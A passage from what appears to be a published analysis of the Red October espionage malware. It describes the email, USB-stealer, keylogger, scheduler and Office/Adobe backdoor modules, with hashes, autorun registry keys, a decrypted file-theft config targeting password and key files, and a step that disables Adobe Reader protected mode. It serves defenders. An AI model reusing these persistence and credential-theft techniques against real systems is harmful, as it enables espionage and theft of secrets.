correspond to time64() ^ 0x1F3E231 and GetTickCount()).
Installs in system AutoRun:
>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"LgfxTray"= PathToExe
Other Registry entries:
HKLM\SOFTWARE\Microsoft\ADOSoftware32
HKCU\SOFTWARE\Microsoft\ADOSoftware32
"ProductID" = SHA1(MAC, AdapterIP, VolumeSerialNumber, IE Product ID)
Always starts the log file from:
@LOG\CMAIL_LOCAL_v1_ %YEAR%%MONTH%%DAY%_%HOUR%%MIN%%
SEC%.txt Software version: 0.8
Current Directory: %s
"--------PROGA START-------"
Opens mutex "huiofwhfiowjcpowjkcwcophwvurweionwopmcvopwkvpwjnhopv", if it exists, then module terminates.
Tries to open config file jusched32s.dat and read the contents. If the file doesn't exist, then terminates. Checks file MD5
hash in file header (first 16 bytes), if it was changed after the last saved MD5 (in memory as a variable), then updates it and
writes the new hash to log file.
If calculated hash of the file buffer matched the header hash then module decrypts and parses config file and launches
POP3 client thread, otherwise terminates.
Parameters in config file:
common
account
config_id
email_hash_path
storage_path
storage_size
load_period
time_delta
size_min
size_max
storage_hash_size
uninstall
login
password
pop3server
imapserver
use
email
If "unistall" parameter is set in config file, then module deletes AutoRun keys in registry, config file jusched32s.dat and
terminates.
POP3 client thread
By default all connections are not encrypted with SSL. There is a variable which for some reason is not initialized, that is
used to control the network communication, i.e. to use SSL encryption or not.
Establishes a connection based on pop3server (or imapserver), login and password parameter values in config file.
After receiving the number of emails as a response on STAT command starts processing emails in cycle.
Forms an MD5 hash from a string in format %s%s%s with 'login' parameter, 'pop3server' parameter and the value that
depends on current processed email number and UIDL response.
Seeks in directory specified in 'email_hash_path' for *mso.dat files, reads their contents and compares the hashes stored in
them with calculated hash.
If calculated hash is found in the contents, then the module doesnt process the current email, otherwise gets email message
size from a POP3 server with a LIST command.
Creates File %email_hash_path%\%s%.mso.dat (%s - CRC32(GetUserName)) and appends counted hash to it. If the new
File Size is bigger than 'storage_hash_size' than rewrites the file with the latest data so it's size doesnt exceed
'storage_hash_size'.
If email size is in the range 'size_min'-'size_max' then the module retrieves email headers and email message body,
otherwise stops email processing. Then the module parses the response, retrieves the date of email, counts days elapsed
and compares it to 'time_delta'. If it's bigger than 'time_delta' then breaks the email processing cycle.
Creates file: %storage_path%\bcmntc.%d.tmp (%d - time64 ^ 0x1F3E231.tmp) with decrypted contents including email
header: @CMAIL_LOCAL\%s_%04u%02u%02u_%02u%02u%02u\%d.eml ('email' field, Date, Email number) and email
contents itself. Some buffers are compressed with zlib.
All the collected data is stored locally and isnt uploaded to any C&C by this module.
5. USB Drive group
USBContainer module
Known files
MD5 Compilation date (encrypted)
b9568a91d6f6b0904de8b2e9d9a2d32c 2010.06.01 11:24:07 (GMT)
f0eaec0b25afc24a416810fe46242590 2010.06.01 11:24:07 (GMT)
865ba7958efe7e54501dcf2c19dcd99e 2010.06.01 11:24:07 (GMT)
Summary
This is a standalone EXE application module which is used to drop and run USBStealer module (IGFXTRAYMS.exe) along
with its configuration file (imapisync32.dat)
Those two files are zlib compressed and stored in the overlay of the dropper.
Main function
Upon execution, the dropper reads its overlay and decompresses it in memory.
The configuration file "imapisync32.dat" is dropped first followed by the opening of a system event named
ScxinWordSid_0129211FA". This event is created by the USBStealer module.
Afterwards, it will try to delete the "IGFXTRAYMS.EXE" file without checking if it exists or not.
The USBStealer module is then dropped using the following file name: "IGFXTRAYMS.EXE" and executed. Both files are
dropped in the same directory of the dropper.
Finally, the following will be executed 3 times before exiting:
C:\WINDOWS\system32\cmd.exe /c del C:\DOCUME~1\%PATH_TO_DROPPER.EXE% >> NUL
This module doesnt create any execution log files, nor does it connect to the C&C servers.
USBRestore
Known files
9572cc04fd442027cfd61178bdf73c0c 2011.07.15 12:30:29 (GMT)
feba0bbead1a810c223cf8252b529d65 2011.06.02 12:30:50 (GMT)
4aabfd510ef66e066946087617638090 2011.06.02 12:30:50 (GMT)
1d124d06666cfa6b33768f1147208b9c 2011.07.15 12:30:29 (GMT)
260ad160972ca6bc071b7cb518a9b5fa 2011.06.02 12:30:50 (GMT)
ab72d7ed99c3c18f2582b6e9cd5ec875 2011.06.02 12:30:50 (GMT)
ef6751567cbf7c92cd3880fc7aa425c9 2011.07.15 12:30:29 (GMT)
56c06123e34dcc8a8e464da9acd852bb 2011.05.23 11:33:26 (GMT)
a6d549d7c90c412a20fc9e7abc829eb5 2011.07.15 12:30:29 (GMT)
be6f3c214d2a579728fc3537c6454f8c 2011.07.15 12:30:29 (GMT)
0883d6533aa4fb0e40a6e48a66ea84d4 2011.05.23 11:33:26 (GMT)
c3e70e9b50cd3f6cfcd0ac75a60b3464 2011.06.02 12:30:50 (GMT)
75b824c5a6a9b950ccbdaee577fe964b 2011.07.29 10:59:44 (GMT)
9bb26fb5179db8515cdc81cb9f40387d 2011.07.29 10:59:44 (GMT)
d9851c67bfeec5cc37db99be07061857 2011.06.02 12:30:50 (GMT)
07999110cab8c6558be11684d2c02793 2011.07.15 12:30:29 (GMT)
9d5bb8f9441d31148bf4f190e27764cc 2011.06.02 12:30:50 (GMT)
ecd7bec9522e64df7b179b512e71c154 2011.06.02 12:30:50 (GMT)
5e215b9272e4a0ff0d9725ac94bd1541 2011.06.02 12:30:50 (GMT)
9a9dbd2a398fda91167169b0866047d1 2011.07.15 12:30:29 (GMT)
4355f29680630980cf732e46306a39ce 2011.07.15 12:30:29 (GMT)
d4d959bffa33b0e3076421a02e69f13b 2011.07.15 12:30:29 (GMT)
f2bb34acdebcbbd335e6cc2816a0c5f0 2011.06.02 12:30:50 (GMT)
ca25ca44ef0106c4080415f1c2090400 2011.07.15 12:30:29 (GMT)
83ee5deb488d58d924134781e76c416c 2011.06.02 12:30:50 (GMT)
9aa8f3ed12ef1003d24c771af69879f8 2011.07.15 12:30:29 (GMT)
19cc111e41d804f20e5f65c6d0a48953 2011.07.15 12:30:29 (GMT)
acfc7040304b19422ba0a1278b4d9c48 2011.05.23 11:33:26 (GMT)
a515279eee527f7d20f82ef673308151 2011.06.02 12:30:50 (GMT)
Summary
This module is a standalone Windows executable which is automatically started on system boot and runs secretly in the
background. It expects removable media arrival and recovers deleted files of attackers' interest from it. This lets the attacker
copy deleted docs as well as ZIP and RAR archives from attached removable media.
Initialization
Upon start the module creates a general purpose log file in %TMP%\smrdprev.<DWORD1><DWORD2>.tmp, where DWORD
is a current time value xored with 0x1F3E231, DWORD2 is value of GetTickCount() API call.
So, basically log file path is %TMP%\smrdprev.<RANDOM_HEX_NUMBER>.tmp. Same xor value is used among all variants
we have seen (20+ files).
General log starts with internal module name which is essentially "USB_RESTOREv1". It also logs software version which is
"0.5" for current module. Other modules had different hardcoded versions. The variants we have seen had 0.3, 0.5 and 0.6.
However, there are few files which didn't have any indication of internal module version and are probably the earliest
versions. The log file also includes detailed information about the system it was launched on. Example of system info:
TIME: "2012-11-12 18:07:26 514"
ADMIN: "1"
UserName: "user"
ComputerName: "WIN_XP_105"
TimeZone: "Russian Standard Time"
LOCALE: "Russian_Russia.1251"
OEMCP: "866"
ACP: "1251"
OwnFile: "C:\wusb.exe"
The module changes registry to run automatically during system start:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ctfmon32rt = <path to current executable>
If it didn't succeed with HKLM (HKLM) it will try to set similar value in HKCU (HKCU).
Next step, it checks if current user has local administrator rights and logs this as well ("----ADMIN MODE----" or "----USER
MODE----").
One more string is added to the log which indicates end of initialization stage and start of main functionality: "WUSB: begin".
This is probably a reference to another module internal name: "WUSB".
Main Procedure
It creates an invisible window named "sbw" (Unicode) with window class "Win32UserHost". The module calls
RegisterDeviceNotification() API to receive systen notifications from particular device GUIDs:
F18A0E88-C30C-11D0-881500A0C906BED8 (GUID_DEVINTERFACE_USB_HUB)
A5DCBF10-6530-11D2-901F00C04FB951ED (GUID_DEVINTERFACE_USB_DEVICE)
So far, the module waits for notifications from USB hubs or USB devices attached to the local system. According to the
notification handler code, the module is only interested in new attached volumes except those which were mapped to letter
A: (reserved for Floppy drives). Once the new volume appears in the system the module starts a separate thread to process
this event. Device is never processed twice until it is plugged in again, the module stores currently mounted devices and
handles device removal events properly.
When new USB drive is attached, the module obtains USB device software and vendor ID, drive character, volume name,
filesystem type, volume serial number, number of free and used bytes. Then it reads the filesystem using direct disk access
and own parser of FAT-based filesystems. It is unable to read other filesystems including NTFS.
Own filesystem parser code allows to avoid using system API to access files, and thus bypass various IDS/IPS software and
at the same time look into slack space of the disk. This lets the attackers reveal already deleted files on removable drives.
The module creates additional debug log which traces execution events and records all problems that have occured. The
filesystem parser log files are located in %TMP%\hsperfdata32sys\bcmntc_rt_*
The parser log includes all discovered filenames, including deleted files. The same module is capable of recovering deleted
files. It can recognize file types and recover original files depending on format. It is designed to recognize the following file
headers: DOCX, XLSX, DOC, XLS, RAR, ZIP. Recovered files are saved in %TMP%\hdbrt32sys\ms32jxtr.dat.
All files created by the module, including logs are stored in custom binary format, which may use Zlib compression, and
custom encryption.
This module doesnt communicate with any C&c server, all files are stored locally.
USBStealer module
Known files
51d5f5a5c7de6a175e269236c2c574b0 2010.10.14 07:07:58 (GMT)
bbe23b8baec0afbd54154820f4a9d7ea 2010.10.14 07:07:58 (GMT)
6abd3d906ebd0e6bf4fb8d00273fdc66 2010.10.14 07:07:58 (GMT)
b9114882ed3a184f8a58284f3fe57cb0 2011.03.02 09:54:14 (GMT)
657f0f4f6183cd2e87fdfd8a88f927c9 2010.10.14 07:07:58 (GMT)
900ab792a9dc9ae35c821cce98164d81 2010.10.14 07:07:58 (GMT)
18bd71030b18f3bc93d08b650ae0d43d 2011.03.02 09:54:14 (GMT)
187adc0380142c61224c53eac9a70955 2011.03.02 09:54:14 (GMT)
78f2c84fefe80bc84361c40d2bbd0501 2010.10.14 07:07:58 (GMT)
b2c60688dc2de4dd4de1f393ae59e317 2010.10.14 07:07:58 (GMT)
3b4125c8dc55ae54fa244a8fdcea8bc9 2011.03.02 09:54:14 (GMT)
760333093fbcc38f6b8d7e1667d192b8 2010.10.14 07:07:58 (GMT)
ffd4096c5d2a2a4801ac6e8ab250a0d0 2011.03.02 09:54:14 (GMT)
92b6b580f1d2e5409a6feb5c8883de2b 2011.03.02 09:54:14 (GMT)
daf244aacbac081693b914a4a1486fa5 2010.10.14 07:07:58 (GMT)
2b08ae138fd27ba62b7ea1e35d38b56f 2010.10.14 07:07:58 (GMT)
48c4e2386cbae6a71b4eccab21ead6e5 2011.03.02 09:54:14 (GMT)
a39636c2fb253ae9ff7b7c0294abf8ac 2011.03.02 09:54:14 (GMT)
f27870dd7bfa952636850a76205f4ba3 2010.10.14 07:07:58 (GMT)
c64343fad7c1f98a8342bd29829fcdf1 2010.06.01 12:13:42 (GMT)
58fbcf7d9146eba51c22e91bdf7128d0 2010.10.14 07:07:58 (GMT)
5c563e849ec86a542daf492b31dde2bb 2010.10.14 07:07:58 (GMT)
4c205fc9c7dbd95316f9ed5aafa34712 2010.10.14 07:07:58 (GMT)
b0e2f3c972477e750d5adbed3650ae81 2010.10.14 07:07:58 (GMT)
Summary
This is a standalone EXE application module which is used to automatically track and steal interesting files on removable
disks attached to infected system. It starts automatically on system boot. Criterias for files are defined in external encrypted
binary config file which must be deployed during setup. It creates own database of known files' hashes and registers a
listener for filesystem changes to do that efficiently.
Initialization
At the start it creates system mutex named 'Win32Wbem32Prefetch', a system event named "ScxinWordSid_0129211FA"
(used to signal end of execution) and a log file at %TMP%\imapispool.<HEXNUMBER1>.0x<HEXNUMBER2>.ids.
It collects basic system information such as current computer name, current username, and path to original executable
module where it started from.
This information is put in the log file in the first place along with current date and time. Every time module adds anything to
the log file, it checks if the log file exceeds 15MB size. If that's true it deletes current log file and opens a new one using the
same path.
It changes registry settings to start automatically on system boot. The changes are made to
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winns32comp value.
Main Procedure
It creates an invisible window named "sbw" with window class "Win32UserHost". This window receives notifications from
specific device types. The module calls RegisterDeviceNotification() API to listen for notification from the system on particular
device GUIDs:
F18A0E88-C30C-11D0-881500A0C906BED8 (GUID_DEVINTERFACE_USB_HUB)
A5DCBF10-6530-11D2-901F00C04FB951ED (GUID_DEVINTERFACE_USB_DEVICE)
At the same time it create configs monitoring thread which reacts on file changes and reloads new values. The config files
are stored in the same directory where current executable module is and named "imapisync32.dat", "wmilibrt.dat".
imapisync32.dat is encrypted using some custom algorithm, and has information about file targets to track and copy if found.
There are common criterias of file size, file age, etc. The module utilizes PCRE (Perl Compatible Regular Expressions)
library to effectively apply regular expression white and blacklists against filenames. The criterias are splitted into groups and
parameters are names with specific prefix of the group (a, d, s, sd, fa). If group is ended with a, that is used as a whitelist,
filenames that match against such regexps are to be stolen. Groups ending with d represent blacklist, files will be ignored.
Below is full decrypted config (imapisync32.dat) with our comments after "#" character:
magic=/lddata/ # magic string identifying config file start
_st_size=/300000000/ # max size of the storage (300MB)
_id=/00020/ # internal storage id
_fdeltatime= /2592000/ # files must be not older than 2592000 seconds or 30 days
_max_size=/20000000/ # maximum size of a single file must be not larger than 20MB
_min_size=/1/ # files must not be smaller than 1 byte
a=/\.txt$/
a=/\.csv$/ # Comma-Separated Values, tabular data file
a=/\.eml$/ # exported e-mail file
a=/\.doc$/
a=/\.vsd$/ # MS Visio document file
a=/\.sxw$/ # StarOffice/OpenOffice document file
a=/\.odt$/ # OpenOffice document file
a=/\.docx$/
a=/\.rtf$/
a=/\.pdf$/
a=/\.mdb$/ # MS Access database file
a=/\.doc\./ # *.doc.* files, could be for an archive of MS Word document file
a=/\.odt\./ # *.odt.* files, could be for an archive of OpenOffice document file
a=/\.docx\./ # etc
a=/\.rtf\./
a=/\.pdf\./
a=/\.xls\./
a=/\.wab$/ # Windows Address Book file (used in Outlook Express)
a=/accounts\.ini/ # could be Opera browser accounts and settings file
a=/account\.cfn/ # TheBat! e-mail client accounts and settings file
a=/signons\.txt/ # saved user names and passwords in Thunderbird, Sunbird, and earlier versions of Firefox
a=/ScribeOptions\.xml/ # probably settings of Scribe crossplatform e-mail client
a=/wand\.dat/ # Opera browser password manager database
a=/bpftp\.dat/ # BulletProof FTP client password database
a=/sm\.dat/ # CuteFTP password database
a=/smdata\.dat/ # CuteFTP password database
a=/FileZilla\.xml/ # FileZilla FTP client password and settings database
a=/ftplist\.txt/ # TotalCommander ftp upload file list (may contain credential information)
a=/addrbk\.dat/ # TurboFTP password and settings file
a=/wcx_ftp\.ini/ # Total Commander cached FTP credentials database
a=/ws_ftp\.ini/ # WS_FTP client password and settings file
a=/andrq\.ini/ # &RQ ICQ client password and settings file
a=/account\.xml/ # Very generic name, used in various software
a=/odigo\.com\.odu/ # Odigo instant messenger settings file
a=/TheBee\.ini/ # Some "The Bee" software ini file, unclear which software it is
# The following subgroup defines useless files that will not be taken.
d=/\\~wordspool.*\.tmp\.doc$/
d=/\\~wordspool.*\.srt\.doc$/
d=/\\~wordspool.*\.rtc\.doc$/
_s_fctime= /1990-01-01 01:02:03/ # files of group "s" after 1990-01-01 are interesting
_s_max_size=/20000000/ # max size for group "s" is 20MB as well
_s_min_size=/1/ # min size is 1 byte
# Some patterns of filenames below seem to be related to some other malware seen on usb drives. It may contain stolen
credentials, so they copy it as well.
sa=/.*mssysmgr\.ocx/
sa=/.*\.cab\.bak/
sa=/.*list\.tlb/
sa=/.*drive\.tlb/
sa=/.+\\\$lddata\$\\.+/
sa=/.+\\NT.Config\\.+/
sa=/.*\\ldupver\.txt/
sa=/\w:\\[\d\w]+\.dll/
sa=/\w:\\[\d\w]+\.exe/
sa=/.*autorun\.inf/
sa=/.*thumb\.dd/
sa=/.*thumb\.db/
sa=/.*msnmsngr\.exe/
sa=/.*svchost\.exe/
sa=/.*EXPLORER\.EXE/
sa=/.+\.iau/
sa=/.+\.rst/
sa=/\.xps/ # This is a subgroup of various files with secrets, such as digital certificates, configs and password databases
sa=/\.cif$/
sa=/\.key$/
sa=/\.crt$/
sa=/\.cer$/
sa=/\.hse$/
sa=/\.pgp$/
sa=/\.gpg$/
sa=/\.conf$/
sa=/passw/
sa=/secret/
sa=/crypt/
sa=/krypt/
sa=/cypher/
sa=/cipher/
sa=/\.ovpn$/
sa=/\.xia$/
sa=/\.xiu$/
sa=/\.xis$/
sa=/\.xio$/
sa=/\.xig$/
sa=/pubring.*/
sa=/secring.*/
sa=/\.acidcsa$/
sa=/\.acidsca$/
sa=/\.aciddsk$/
sa=/\.acidpvr$/
sa=/\.acidppr$/
sa=/\.acidssa$/
sa=/\\ACIDInstallv.*\.exe$/
sa=/\\ACIDdirInstallv.*\.exe$/ sa=/\\Acid Technologies\\/ # Probably this and above refers to Acid Cryptofiler military grade
encryption software
sa=/.*cisco.*\.txt$/
sa=/.*cisco.*\.cfg$/
_f_fctime= /1999-02-03 02:03:07/
_f_max_size=/10000000/
_f_min_size=/1/
fa=/~WRD32cache.*\.doc$/
fa=/glxcrt.*\.dat/
fa=/bcmntc.*\.tmp/
fa=/smrdprev.*\.tmp/
a=/\.ttr$/ # maybe TTR Backup software?
a=/\.tbe$/ # unclear
a=/\.tte$/ # unclear
a=/\._ok$/ # unclear
a=/\.ki$/ # unclear
a=/\.txt$/
a=/\.tvt$/
a=/\.txr$/ # CorelDraw file?
a=/\.tvr$/
a=/\.tbr$/
a=/\.kin$/
Config file may change during module work and there is a special thread that monitors config file changes and loads new
configuration when it is changed.
The module lists all available attached removable drives, iterates through all of them except A: and B: (reserved for floppy
disks). It collects full file paths and file meta-information, compresses, encrypts and stores this in
%TMP%\mrtdsync\win64esrt_* database. Additionally, files from the list of interest are copied to win64berts* files, which also
have full information and body of the file. It is encrypted and compressed twice.
There is a separate thread to monitor filesystem changes and every time new file/directory is created or changed on the
monitored drives updated information goes to %TMP%\mrtdsync\win64esrt_* in separately spawned thread, additionally all
changed or created files are copied to a new win64berts* file.
This module works offline and doesn't communicate with any other host on the network.
6. Keyboard group
Keylogger module
Known variants:
33bda0e77b840809e66e12d020e054c5 2011.04.14 12:00:26 (GMT) 2010.10.05 10:53:49 (GMT)
3cb7318ed40239f7219d86343a17b54b 2011.05.10 07:45:02 (GMT) 2010.10.05 10:53:49 (GMT)
dfcce19f2852db652071088bf9461b4a 2011.05.10 07:44:55 (GMT) 2010.10.05 10:53:49 (GMT)
6079a0746e76c1090dc110e08de645e2 2011.05.20 11:00:18 (GMT) 2010.10.05 10:53:49 (GMT)
57897c997c699135b9460c0be7a4b27e 2011.10.10 07:59:41 (GMT) 2010.10.05 10:53:49 (GMT)
ecc7a5ef3f5e92f0c7da0bef8d392b5f 2011.05.12 10:47:39 (GMT) 2010.10.05 10:53:49 (GMT)
The file is a PE EXE file, compiled with Microsoft Visual Studio 2005. Its main purpose is to log keystrokes, copy input texts
and make screenshots.
Main function
Opens and Creates Event WIN_%08X%08X%08X%08X%08X (SHA1(first 512 bytes of self file)), if exists, terminates. Sets in
AutoRun, using the following registry keys:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Mspmr32 = %Path to the module%
Deletes file Keylogger.log (this filename is not used anywhere else). Registers a window class with RegisterClassEx API
using ClassName svchost.exe, assigns a window procedure that implements main module functionality. Creates window
with CreatWindowEx API using ClassName svchost.exe, window name svchost and associates it with a registered class.
Registers a device with RegisterRawInputDevices API and associates it with created window with a flag RIDEV_INPUTSINK
which enables the caller to receive the input even when the caller is not in the foreground.
Window procedure
All the logging actions are implemented basing on receiving WM_INPUT window message, if raw input for GetRawInputData
API comes from keyboard and GetRawInputData received WM_KEYDOWN message.
Collected information
It collects some general information about current user and opened windows/processes:
Foreground window text or WT_UNKNOWN
Module FileName or MN_UNKNOWN
Foreground window class name
UserName
It is capable of making full desktop screenshots, copying clipboard data of password input fields (to check a window
EM_GETPASSWORDCHAR is sent to the window).
If Shift+Insert, Ctrl+C, Ctrl+V,Ctrl+X, Ctrl+Insert is pressed then it copies clipboard data.
Creates File %TMP%\SSDPserv32\ssdtrbs%08x%.sys.%d% (%08x Random Hex value, %d time64()). All the collected
information is compressed with Zlib and RC4 encrypted with the key qefwljkfnw3l;fjwe;fklwejfw;eflkwe;flweand written to this
file.
file:///F|/RedOctober - KasperskyLab/Red October. Detailed Malware Description 4. Second Stage of Attack - Securelist.html[15.03.2013 22:08:27]
1. Exploits
2. Dropper
3. Loader Module
4. Main component
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
8. Spreading group
9. Mobile group
Scheduler module
Known locations: %APPDATA%\Microsoft\RtkN32Gdi.exe
The module is created and executed (for the first time) by the module "fileputexec".
Known variants:
43C0BA45BE45CA20ED014A8298104716 2012.10.24 13:12:43 (GMT) 2012.10.11 07:19:12 (GMT),
Summary
Creates encrypted log files: "%TMP%\smrdprev\smrdprev_%p_%p.tmp", where "%p" parameters are formatted from the
return values of subsequent GetTickCount API calls.
Creates event: "Global\wsheledstpknt"
Creates mutex: "NtWinWMIctlshed"
When started, the module initializes its log object with a new filename. Then, it creates one of the following registry values to
ensure its automatic start:
Evernote Export
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\servise=%path to the module's executable file%
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load=%path to the module's executable file%
Then, the module enters an infinite loop where it executes its main function with 300 second delay between iterations.
Main function
The module traverses the directories from a hardcoded list, looking for files with names matching regular expressions
".*\..*\.bak" and ".*\..*\.trh". The list of directories:
%ProgramFiles%\Microsoft Common\
%ProgramFiles%\Common Files\
%SystemDrive%\Documents and Settings\LocalService\Application Data\Microsoft\
%SystemDrive%\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\
%ALLUSERSPROFILE%\
%ALLUSERSPROFILE%\Application Data\
%ALLUSERSPROFILE%\Application Data\Microsoft\
%ALLUSERSPROFILE%\Application Data\Microsoft\Windows\
%windir%\Installer\
%windir%\Help\Tours\mmTour\
%windir%\Help\Tours\htmTour\
%windir%\Help\Tours\WindowsMediaPlayer\
%windir%\IME\
%windir%\MsApps\
%windir%\MsApps\MsInfo\
%windir%\inf\
%HOMEPATH%\Local Settings\
%APPDATA%\
%windir%\Temp\
%TMP%\
%module's installation directory%
Any found file with the extension ".trh" is deleted.
Files with the extension ".bak" are treated differently. They are decrypted using a custom AMPRNG algorithm with a
hardcoded key, then decompressed using LZMA. If the file was decompressed without errors, it is expected to start with a
header that describes an internal task.
Each task has a name and a "type" field. Depending on that field, the module treats the contents of the decrypted file
differently:
Task
type
Task action
1
The task is a PE EXE file. It is written to a temporary file '%TMP%\%number%.exe' and executed with CreateProcess API.
The file is removed when the process terminates.
3 The task is a PE DLL file. It is loaded in memory with a custom PE loader. Then, its export named 'START' is called.
The task is a new version of the 'scheduler' module. The original module is moved to a file with extension '.trh' and
4
deleted, the task's contents are written instead.
Known variants of the ".bak" task files were created by the "fileputexec" module. They all contained a task named "fileinfo".
DocBackdoor (Acrobat Reader and Microsoft Office plugin) module
Known file locations: add-on directories of Acrobat Reader or Microsoft Office, depends on installation settings.
Known variants:
1294af519b9e6a521294607c8c1b3d27 2012.05.14 08:49:35 (GMT)
Summary
The file is a PE DLL file with 1 exported function, compiled with Microsoft Visual Studio 2010. The malware contains a
universal plugin for Acrobat Reader and Microsoft Office application. The plugin does not depend on the application so it
could have been used with other applications, too.
Export(s): winampGetGeneralPurposePlugin
DllMain function
When loaded, the module starts a new thread and returns. In the new thread, the module executes its main function in an
infinite loop, with 1 second delay.
Main function
The module iterates through file handle values from 0 to 65534 with step 4, and tries to get file size for every handle. If call to
GetFileSize succeeds, the module assumes that it found a valid file handle, and proceeds with this file. The file handle may
belong to any file that is currently open by the application, including any open documents (i.e. PDF, DOC, XLS, PPT files).
The module retrieves the name of the file, reads the whole file into memory and checks its last DWORD. If the value is not
equal to the magic number 0x29A (666 decimal), it skips this file. If the DWORD matches the magic value, it reads more
values from the end of file.
Offset from the end of file Type Description
-4 DWORD Magic number 0x29A
-5 BYTE Operation mode byte
-9 DWORD Payload length
-9 - Payload length BYTE*payload length Encrypted payload
If the operation mode byte is equal to 3, the module loads the decrypted payload as a PE DLL library using own PE format
loader, and executes its DllMain function. If the operation mode byte contains any other value, it tries to write the payload to
the first available directory from the list:
%windir%\Temp\
%TMP%\
%TEMP%\
%ProgramFiles%\WindowsUpdate\
The name of the file is read from the beginning of the decrypted payload.
Then, the module selects further actions depending on the operation mode byte:
Operation mode byte value Action
1 Execute the file with CreateProcess
2 Load the file with LoadLibrary
OfficeBDInstaller module (Microsoft Office plugin installer)
Known variants:
AE693C43E40F0DE9DE9FA2D950003ABF 2012.10.09 06:42:11 (GMT)
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. All the functionality is
implemented in the DllMain function.
DllMain
When loaded, the module retrieves its resource of type "BBB" and name "AAA", and starts an internal plugin framework. The
main function of the module is named "task_msplugin" and is registered in the framework. Then, it starts the framework main
SetOption(conn_a.VER_SESSION_ID, %removed%)
SetOption(conn_a.D_MODE, "3")
SetOption(conn_a.D_USER, [21] %removed%)
SetOption(conn_a.J_USER, [21] %removed%)
SetOption(msplugin_loc, 76288 bytes buffer)
SetOption(msplugin_name, 28 bytes buffer)
SetOption(msplugin_Word, "1")
SetOption(msplugin_Excel, "0")
SetOption(msplugin_PowerPoint, "0")
SetOption(msplugin_desc0, 38 bytes buffer)
SetOption(msplugin_progid, 22 bytes buffer)
Call(task_msplugin)
Main function (task_msplugin)
First, the module tries to raise its privileges. It tries to log in as a privileged user using a dictionary of common passwords.
Then, it tries to locate installed Microsoft Office application by enumerating the registry keys in
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall and searching for the keys that contain "Microsoft Office",
"Microsoft Office Word", "Microsoft Office Shared" in the "DisplayName" value. If no key was found, the module aborts
installation.
Then, depending on the values of the options "msplugin_Word", "msplugin_Excel", "msplugin_PowerPoint", it installs a plugin
for selected Office applications. For each application, it tries to write the plugin to the first available directory from the list:
%ProgramFiles%\Microsoft Common\
The file name for the plugin is retrieved from the "msplugin_name" option from the resource. It also generates a random
CLSID value for the plugin.
If the file was created without errors, the module creates the following registry values:
HKLM\SOFTWARE\Microsoft\Office\%product name%\Addins\%msplugin_progid option value%\
LoadBehavior=DWORD:0x10
CommandLineSafe=DWORD:0x00
FriendlyName=%msplugin_desc1 option value%
Description=%msplugin_desc2 option value%
HKCR\CLSID\%plugin's CLSID%\
default=%msplugin_desc0 option value%
HKCR\CLSID\%plugin's CLSID%\InProcServer32\
default=%plugin installation path%
HKCR\CLSID\%plugin's CLSID%\ProgID\
default=%msplugin_progid option value%
HKCR\CLSID\%plugin's CLSID%\VersionIndependentProgID\
default=%msplugin_progid option value%
HKCR\%msplugin_progid option value%\CLSID\
default=%plugin's CLSID%
After completing the installation, the module sends its log file to the C&C server. The connection options are retrieved from
the configuration (resource):
Option name Description
D_CONN List of C&C domain names, separated by ';'
D_RPRT C&C server port
D_NAME Relative URL to send request to
The data send to the C&C server is compressed with Zlib and encrypted with a modified PKZIP stream cipher, and then it is
Base64-encoded.
AdobeBDInstaller module (Adobe Reader plugin installer)
Known variants:
09fd8e1f2936a97df477a5e8552fe360 2012.10.05 11:20:40 (GMT)
DllMain function
main function of the module is named "task_arplugin" and is registered in the framework. Then, it starts the framework main
SetOption(conn_a.D_USER, [21] %removed% )
SetOption(conn_a.J_USER, [21] %removed% )
SetOption(arplugin_loc, 76288 bytes buffer )
SetOption(arplugin_name, 28 bytes buffer )
Call(task_arplugin)
Main function (task_arplugin)
The module retrieves the Adobe Reader installation path by reading the registry value:
HKLM\SOFTWARE\Classes\Software\Adobe\Acrobat\Exe\@default
Then, it tries to identify the version of installed software by searching for strings "10.0\", "9.0\", "8.0\" in the installation path. If
none of them are found, it aborts installation with error.
If installation path contains the string "10.0\", the module tries to open the existing registry key:
HKCU\SOFTWARE\Adobe\Acrobat Reader\10.0
If the key exists, then writes "Privileged='ON'" into its log and sets the following registry key, effectively disabling the
"protected mode" of the Adobe Reader:
HKCU\SOFTWARE\Adobe\Acrobat Reader\10.0\Privileged\bProtectedMode=0
Then, the module extracts the Acrobat Reader plugin body from the configuration option "arplugin_loc" (specified in the
resource) and writes it to:
%acrobat reader installation path%\plug_ins\%arplugin_rem option value%
It also retrieves the last write time of the plug_ins directory and sets the plugin's last write time to the same value.
After completing the installation, the module sends its log file to the C&C server. The connection options are retrieved from
the configuration (resource):
Base64-encoded.
8. Spreading group
Fileputexec module
Known variants:
6FE7EB4E59448E197BDFAE87247F3AE6 2012.09.06 07:55:31 (GMT)
ED5FF814B10ED25946623A7EC2C0A682 2012.09.06 07:55:31 (GMT)
37B443893551C1537D00FD247E3C9A78 2012.09.06 07:55:31 (GMT)
Summary
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. Known samples share one
code section, but contain different payloads in the resource section. All the functionality is implemented in the DllMain
function. It writes files from its configuration resource to disk and starts a new process from these file(s).
DllMain
main function of the module is named "task_fileputexec" and is registered in the framework. Then, it starts the framework
main loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
Decoded resource data for the module can be represented as the following script:
SetOption(conn_a.D_USER, [21] %removed%)
SetOption(conn_a.J_USER, [21] %removed%)
SetOption(file_loc)
SetOption(file_rem)
SetOption(file_exec_rem)
SetOption(file_loc, 156898 bytes buffer )
SetOption(file_rem, 100 bytes buffer )
Call(task_fileputexec)
Main function (task_fileputexec)
The module implements two distinct functions:
It writes files from its configuration resource to disk
It starts executable files specified in the resource
First, the module looks for pairs of configuration options called "file_rem" and "file_loc". The module iterates through all
"file_rem" options, reads the corresponding "file_loc" value and writes the contents of the latter option to disk, using the value
of "file_rem" as a filename.
